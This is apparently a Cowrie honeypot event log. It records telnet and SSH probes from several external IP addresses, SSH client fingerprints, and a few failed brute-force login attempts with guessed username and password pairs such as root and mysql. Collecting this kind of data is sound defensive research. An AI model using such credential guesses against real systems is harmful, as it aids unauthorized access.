{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42150,"dst_ip":"10.17.0.5","dst_port":23,"session":"de7bd079504d","protocol":"telnet","message":"New connection: 62.210.97.77:42150 (10.17.0.5:23) [session: de7bd079504d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:27.962202Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42162,"dst_ip":"10.17.0.5","dst_port":23,"session":"282588fb4be9","protocol":"telnet","message":"New connection: 62.210.97.77:42162 (10.17.0.5:23) [session: 282588fb4be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:28.209723Z"}
{"eventid":"cowrie.session.closed","duration":40.44851493835449,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:31.368799Z","src_ip":"62.210.97.77","session":"ddcc757437e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43682,"dst_ip":"10.17.0.5","dst_port":23,"session":"d75b1d35711e","protocol":"telnet","message":"New connection: 65.60.27.33:43682 (10.17.0.5:23) [session: d75b1d35711e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:32.080593Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34872,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ddced7b49d","protocol":"telnet","message":"New connection: 62.210.97.77:34872 (10.17.0.5:23) [session: 36ddced7b49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:33.101907Z"}
{"eventid":"cowrie.session.closed","duration":50.47597789764404,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:33.170917Z","src_ip":"38.54.119.93","session":"69819d08a192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43272,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6f52b683103","protocol":"telnet","message":"New connection: 62.210.97.77:43272 (10.17.0.5:23) [session: f6f52b683103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:38.718373Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51960,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd7d920dc40","protocol":"telnet","message":"New connection: 38.54.119.93:51960 (10.17.0.5:23) [session: acd7d920dc40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:40.440879Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57574,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a0e88ed0e67","protocol":"telnet","message":"New connection: 165.232.131.181:57574 (10.17.0.5:23) [session: 2a0e88ed0e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:40.557748Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55694,"dst_ip":"10.17.0.5","dst_port":23,"session":"31cc84b62ced","protocol":"telnet","message":"New connection: 38.54.119.93:55694 (10.17.0.5:23) [session: 31cc84b62ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:46.135224Z"}
{"eventid":"cowrie.session.closed","duration":47.6777765750885,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:47.937210Z","src_ip":"165.232.131.181","session":"7c3debd3bd5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33440,"dst_ip":"10.17.0.5","dst_port":23,"session":"14fe1c6a36cd","protocol":"telnet","message":"New connection: 165.232.131.181:33440 (10.17.0.5:23) [session: 14fe1c6a36cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:55.148560Z"}
{"eventid":"cowrie.session.closed","duration":32.40347409248352,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:00:58.614288Z","src_ip":"65.60.27.33","session":"57eeb021e693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45549488067627,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:00.417555Z","src_ip":"62.210.97.77","session":"de7bd079504d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68688201904297,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:00.896434Z","src_ip":"62.210.97.77","session":"282588fb4be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53868,"dst_ip":"10.17.0.5","dst_port":23,"session":"33af66c6afcb","protocol":"telnet","message":"New connection: 165.232.131.181:53868 (10.17.0.5:23) [session: 33af66c6afcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:01.062298Z"}
{"eventid":"cowrie.session.closed","duration":51.99951148033142,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:03.594086Z","src_ip":"38.54.119.93","session":"1bc9c58148b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02297043800354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:04.124741Z","src_ip":"62.210.97.77","session":"36ddced7b49d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.62051844596863,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:04.493902Z","src_ip":"65.60.27.33","session":"70682b2576fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39242,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b136258ed45","protocol":"telnet","message":"New connection: 38.54.119.93:39242 (10.17.0.5:23) [session: 1b136258ed45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:04.791476Z"}
{"eventid":"cowrie.session.closed","duration":43.2067551612854,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:05.679138Z","src_ip":"65.60.27.33","session":"7902b5154529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45498,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc292e0953f4","protocol":"telnet","message":"New connection: 62.210.97.77:45498 (10.17.0.5:23) [session: cc292e0953f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:07.099515Z"}
{"eventid":"cowrie.session.closed","duration":62.886512756347656,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:08.822281Z","src_ip":"165.232.131.181","session":"a764ca06eb65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.37806582450867,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:11.458497Z","src_ip":"65.60.27.33","session":"d75b1d35711e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.589468002319336,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:13.307733Z","src_ip":"62.210.97.77","session":"f6f52b683103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51658,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b8ed1ab6940","protocol":"telnet","message":"New connection: 62.210.97.77:51658 (10.17.0.5:23) [session: 0b8ed1ab6940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:19.827952Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44170,"dst_ip":"10.17.0.5","dst_port":23,"session":"754eff5c43e8","protocol":"telnet","message":"New connection: 165.232.131.181:44170 (10.17.0.5:23) [session: 754eff5c43e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:19.902088Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38978,"dst_ip":"10.17.0.5","dst_port":23,"session":"00d8fe9fee36","protocol":"telnet","message":"New connection: 165.232.131.181:38978 (10.17.0.5:23) [session: 00d8fe9fee36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:20.524583Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51672,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b398842d48","protocol":"telnet","message":"New connection: 62.210.97.77:51672 (10.17.0.5:23) [session: 53b398842d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:22.606933Z"}
{"eventid":"cowrie.session.closed","duration":43.242621183395386,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:23.800014Z","src_ip":"165.232.131.181","session":"2a0e88ed0e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.29384970664978,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:25.734632Z","src_ip":"38.54.119.93","session":"acd7d920dc40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51682,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c58498517a0","protocol":"telnet","message":"New connection: 62.210.97.77:51682 (10.17.0.5:23) [session: 9c58498517a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:26.645281Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49890,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0fbb893b659","protocol":"telnet","message":"New connection: 65.60.27.33:49890 (10.17.0.5:23) [session: c0fbb893b659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:28.711305Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48926,"dst_ip":"10.17.0.5","dst_port":23,"session":"77155bdfb34f","protocol":"telnet","message":"New connection: 165.232.131.181:48926 (10.17.0.5:23) [session: 77155bdfb34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:32.104954Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53822,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6bfcf111963","protocol":"telnet","message":"New connection: 62.210.97.77:53822 (10.17.0.5:23) [session: a6bfcf111963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:32.885621Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58074,"dst_ip":"10.17.0.5","dst_port":23,"session":"feea904c3178","protocol":"telnet","message":"New connection: 38.54.119.93:58074 (10.17.0.5:23) [session: feea904c3178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:34.860988Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57160,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4fb94f1f37","protocol":"telnet","message":"New connection: 65.60.27.33:57160 (10.17.0.5:23) [session: ca4fb94f1f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:35.116058Z"}
{"eventid":"cowrie.session.closed","duration":50.44310116767883,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:36.578216Z","src_ip":"38.54.119.93","session":"31cc84b62ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.90336513519287,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:41.002758Z","src_ip":"62.210.97.77","session":"cc292e0953f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":51266,"dst_ip":"159.203.135.109","dst_port":22,"session":"f90998afafd1","protocol":"ssh","message":"New connection: 181.234.2.36:51266 (159.203.135.109:22) [session: f90998afafd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:44.618680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:44.623547Z","src_ip":"181.234.2.36","session":"f90998afafd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:44.720422Z","src_ip":"181.234.2.36","session":"f90998afafd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"p@ssw0rd","message":"login attempt [mysql/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:45.111443Z","src_ip":"181.234.2.36","session":"f90998afafd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:46.205721Z","src_ip":"181.234.2.36","session":"f90998afafd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":50310,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e4bcc67028c","protocol":"ssh","message":"New connection: 80.94.92.182:50310 (159.203.135.109:22) [session: 2e4bcc67028c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:46.710153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:46.912708Z","src_ip":"80.94.92.182","session":"2e4bcc67028c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:46.915971Z","src_ip":"80.94.92.182","session":"2e4bcc67028c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42618,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5903031dd2c","protocol":"telnet","message":"New connection: 62.210.97.77:42618 (10.17.0.5:23) [session: c5903031dd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:47.230820Z"}
{"eventid":"cowrie.session.closed","duration":28.546364545822144,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:48.448342Z","src_ip":"165.232.131.181","session":"754eff5c43e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":29024,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a698d0359b7","protocol":"ssh","message":"New connection: 94.156.152.18:29024 (10.17.0.5:22) [session: 4a698d0359b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:48.501638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:48.507098Z","src_ip":"94.156.152.18","session":"4a698d0359b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:48.576522Z","src_ip":"80.94.92.182","session":"2e4bcc67028c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:48.642098Z","src_ip":"94.156.152.18","session":"4a698d0359b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS4VCPU16GBAMD","message":"login attempt [root/QUEENVPS4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:49.045374Z","src_ip":"94.156.152.18","session":"4a698d0359b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:49.996687Z","src_ip":"80.94.92.182","session":"2e4bcc67028c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:50.182117Z","src_ip":"94.156.152.18","session":"4a698d0359b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.49734163284302,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:50.645811Z","src_ip":"165.232.131.181","session":"14fe1c6a36cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56460,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc1082d07720","protocol":"telnet","message":"New connection: 165.232.131.181:56460 (10.17.0.5:23) [session: bc1082d07720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:51.100956Z"}
{"eventid":"cowrie.session.closed","duration":31.2977557182312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:51.125606Z","src_ip":"62.210.97.77","session":"0b8ed1ab6940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38016,"dst_ip":"10.17.0.5","dst_port":23,"session":"654f196f08b7","protocol":"telnet","message":"New connection: 62.210.97.77:38016 (10.17.0.5:23) [session: 654f196f08b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:54.508384Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56066,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf13a4c0161","protocol":"telnet","message":"New connection: 165.232.131.181:56066 (10.17.0.5:23) [session: 9cf13a4c0161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:56.097236Z"}
{"eventid":"cowrie.session.closed","duration":33.82251691818237,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:56.429316Z","src_ip":"62.210.97.77","session":"53b398842d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.1486930847168,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:56.673145Z","src_ip":"165.232.131.181","session":"00d8fe9fee36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.171441316604614,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:01:57.962785Z","src_ip":"38.54.119.93","session":"1b136258ed45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.617024660110474,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:02.262177Z","src_ip":"62.210.97.77","session":"9c58498517a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49386,"dst_ip":"10.17.0.5","dst_port":23,"session":"38dfc0910281","protocol":"telnet","message":"New connection: 62.210.97.77:49386 (10.17.0.5:23) [session: 38dfc0910281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:03.390433Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34466,"dst_ip":"10.17.0.5","dst_port":23,"session":"f484c114a987","protocol":"telnet","message":"New connection: 65.60.27.33:34466 (10.17.0.5:23) [session: f484c114a987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:02:05.687679Z"}
